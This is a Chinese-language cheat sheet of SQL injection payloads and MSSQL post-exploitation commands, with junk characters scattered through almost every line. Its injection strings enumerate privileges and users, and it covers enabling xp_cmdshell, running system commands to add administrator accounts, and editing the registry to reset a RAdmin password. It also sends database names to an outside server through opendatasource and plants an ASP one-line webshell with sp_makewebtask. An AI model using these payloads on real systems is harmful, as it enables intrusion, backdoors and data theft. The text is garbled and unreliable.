//看看是什么权限的7 k7 F# Q7 _* |+ b; h
and 1=(Select IS_MEMBER('db_owner'))" g' ~: R6 `0 b# S
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--3 W0 K v) d, A2 c* Q
C$ r) b3 X* Y: R7 K7 Y
//检测是否有读取某数据库的权限) O7 j5 K) {# z8 h# H
and 1= (Select HAS_DBACCESS('master'))
; w3 F3 y7 X0 pAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --" s2 c) m; f1 |; F
% @9 e5 R; } T9 w7 O0 S( u: d( H% s. G! ]3 J" q _! l5 d
数字类型* ^8 V' u+ K, a D# q7 r5 R
and char(124)%2Buser%2Bchar(124)=0
2 k! i# G# A+ X- S- A# ~, w6 _! D
1 W4 u2 G& v; t# R7 w字符类型' e; [3 q2 ]% t# j
' and char(124)%2Buser%2Bchar(124)=0 and ''='
4 \$ y8 o# D) { j# V0 N$ P; r3 Y x1 o$ o. E. B
搜索类型
Q% I4 X; r9 z' b4 ^' and char(124)%2Buser%2Bchar(124)=0 and '%'='
0 q) U/ q# F- F ~' s2 Q2 P6 }, f
5 k; t1 E; Q! e3 `/ M1 {爆用户名7 [3 D+ d b0 r) R
and user>0
R! [5 N% w" [) u8 }' and user>0 and ''='" q# _ }+ i* D7 \0 L: _5 R
. e& Y/ s7 E' K: r
检测是否为SA权限1 K2 l4 _! J- f2 h$ l* A
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--/ v/ b+ l1 I3 t* w' t
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
: P' r, @( I+ ]$ E$ r$ O' E3 V( i/ J0 q. t, w+ R% \% i
检测是不是MSSQL数据库+ V5 }9 D0 N' k) N" b/ h
and exists (select * from sysobjects);--+ o" U, a; a7 w6 }& l$ q& S
3 A' J6 h O8 n% B& w( j0 f, u检测是否支持多行
; Q7 u( B8 P2 J;declare @d int;--
* [& T/ @$ g. p {) m
) e( m9 l* C. z恢复 xp_cmdshell3 ~" T% U, I4 z' N
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--, M6 x9 z8 ]; q; `/ [- o
4 y8 J8 w. `1 m1 m# I$ x
4 H8 H* j/ m8 J1 Y- e* ?: f9 v( Z* qselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')" j# G( \: }2 |
% g+ R0 ^& e, W: N' V( U* w
//-----------------------
* }" m% W- O. }( z8 ~: S* Y- s// 执行命令
3 ~* x) t0 U+ Z0 r//-----------------------
* T8 P1 U$ t8 e; f3 H- G4 ~, W- U首先开启沙盘模式:
4 ?) _! [% t. m- ?3 V' Yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 {7 ~9 W5 T5 L: `* \/ k4 u* d# u; b P) ^6 F6 V
然后利用jet.oledb执行系统命令
9 k+ \* n# s/ t. c6 aselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
0 e" g# R* [5 H4 e4 n+ ^3 t! ?: U& E* u; w
执行命令
. l/ b& E C5 B+ p8 k6 s;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
! g; \) y+ W/ C- O+ X
6 s0 p# H4 b' c7 qEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'7 S, {: {8 Z( D* u( s, F
' W# J- l+ [1 V! M$ K Z判断xp_cmdshell扩展存储过程是否存在:: s; k b, \. ] W0 N
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
+ g# R- }7 V: ^ r& ~
$ ?" M( J4 _4 z' J写注册表
* l. v5 H3 [7 E1 w! Lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',19 |3 V4 h: m8 E- w$ c9 h
) m: W/ S" \% R6 Y5 `- |REG_SZ
2 g) s" a; E% g0 z' T+ S* P# I% l7 [. c+ K9 `& P; s
读注册表, V A4 F" p, K2 m! O; a$ [
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
# W9 U) A. r! _4 V4 A( Q: x
& _: A) t( _* z) ?; ]# H读取目录内容* m q. D+ V8 N. j
exec master..xp_dirtree 'c:\winnt\system32\',1,1
: w9 E" b: j- n) C0 u8 P2 }
( C0 d# _# |; n3 u9 g
2 G2 T. G$ S/ t3 J1 ?7 R0 B+ p2 n数据库备份, h# i" b- B3 W: B: x3 q5 \
backup database pubs to disk = 'c:\123.bak'
& @6 r8 x' |9 a0 U' N- N9 x. A. r& o E# }$ B! `# L
//爆出长度; A% Y; d5 ?6 u. [- W
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
9 h8 L+ l, t6 k5 @6 T
" ~) F$ W# K9 V! S+ C1 i6 d; t Y! p i3 B/ L- d
- i4 s. Q2 p' q$ Q, \更改sa口令方法:用sql综合利用工具连接后,执行命令:: e7 l. {' |6 e4 i' o- s7 H* z
exec sp_password NULL,'新密码','sa'2 u7 @% Z& e; c2 c# p+ g" m
L" `7 C% }! `, M7 {) v2 k6 }8 A添加和删除一个SA权限的用户test:2 N7 B8 O" n! l1 d
exec master.dbo.sp_addlogin test,9530772
3 q6 E9 T0 x) @5 D0 W* r% ?# ]exec master.dbo.sp_addsrvrolemember test,sysadmin
. n! D2 G: A& m0 \( O5 J; q- y4 ]% ?: s7 |$ d& s/ @
删除扩展存储过过程xp_cmdshell的语句:
' _- u' K5 y. S2 K, g7 Pexec sp_dropextendedproc 'xp_cmdshell'- I2 m2 C: g/ I' i# @) N5 _& J" Q) Z
w, c+ o |7 T" C) x/ h# ]. t
添加扩展存储过过程 K3 z3 M, } f6 s9 W& k6 }9 D* p, m
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'. ?: ~7 Z7 V7 m9 n
GRANT exec On xp_proxiedadata TO public" B- v, k! l. b( b
) i" A& d! h" ?% k
! b& S4 { e+ e0 D% o$ V; r# a停掉或激活某个服务。- w2 Q) ]/ n! X' ^" T; F) |; |0 j
; R: t: }/ a8 n" j4 \( K
exec master..xp_servicecontrol 'stop','schedule'
6 u7 }6 R- x; }, Q( kexec master..xp_servicecontrol 'start','schedule'0 w% \2 d" M; C
% l) X# G( @( I2 h. kdbo.xp_subdirs
. z8 {' a/ Z6 ~# Q' I# l. m$ k/ ~5 m/ C! _3 z7 f* \" |
只列某个目录下的子目录。' b- D0 \7 t, S$ v4 y2 A( T
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'" M! t' B/ ?9 Q$ S- V
! w! P$ J5 I; N# y F4 W# x6 J" D
dbo.xp_makecab- ?) z5 W1 E2 i8 R% m% ^- e
+ F/ T8 A) M. s, N+ [, b将目标多个档案压缩到某个目标档案之内。
6 \. k! C0 ?' c所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
* @: H9 q) i3 Z
- O8 }7 S6 L" M }* S) Y3 Edbo.xp_makecab
, A9 W9 N' ]5 ]. X3 t9 o8 P'c:\test.cab','mszip',1,2 j; R$ m, w# ^1 u. r' W
'C:\Inetpub\wwwroot\SQLInject\login.asp',8 ^& W# g& w: P: o3 H& u) b
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
- w0 H3 t( z4 j8 O! @# _7 |
! ], r3 ]. s. |- z$ k, s8 Vxp_terminate_process# a4 ?- ~8 _% c: s; }3 \9 n
. c/ }3 e: C7 N+ y9 W& z: n
停掉某个执行中的程序,但赋予的参数是 Process ID。
, \& h; j2 g8 ~& X2 c- p利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID* J- J5 u4 v$ R l* z5 V/ b( t
8 o* F! w r+ r1 `% o& {+ zxp_terminate_process 2484+ l6 n, r: B; ^) a) Y
% d8 B/ b; K; D4 Y5 K1 ?xp_unpackcab
0 j- J- v0 d0 `& N4 o; Q
. M) r; z0 `9 e; }" A# \解开压缩档。7 U4 A4 }$ f+ R; Q
6 C# p d& l5 j5 p5 nxp_unpackcab 'c:\test.cab','c:\temp',10 \- m7 X' o8 S7 h% `# P0 y- j) ?
: y6 B0 j ^9 t, M7 ?
/ ~/ ]: H. G) n. E6 U
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
1 m4 ]4 b% g: a% _% o
# c Q: |! N9 ocreate database lcx;( ]: S1 k- a; e9 ^- H: ^
Create TABLE ku(name nvarchar(256) null);
6 x; p" N" _5 a% u0 U3 Z, fCreate TABLE biao(id int NULL,name nvarchar(256) null);/ {! K X! U! z3 F& [1 L. C
) \/ X4 c3 r/ {% A
//得到数据库名 _& n" p9 d2 e% G! o
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
- J6 M ?0 r8 a" @1 u4 Z& m: j. ]! r- ?! J( h- n$ B; h. f
5 ~: F W# }9 _//在Master中创建表,看看权限怎样
- b6 x& o! x! s+ qCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
, c& `' v3 m! L6 }* k2 o
6 F+ c( A/ ` c用 sp_makewebtask直接在web目录里写入一句话马:9 j3 d* \- ~9 t& `; U
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--+ A( k1 `/ g4 o
* g7 V$ w" S0 N. L//更新表内容! g+ s: s) Z# m& M) |6 E, U- U8 N
Update films SET kind = 'Dramatic' Where id = 1236 W% ]3 U5 u$ q+ a3 z
: ?2 j! }: W& {9 V( I5 u//删除内容
5 _! {) P8 c' R# I; ^delete from table_name where Stockid = 3 |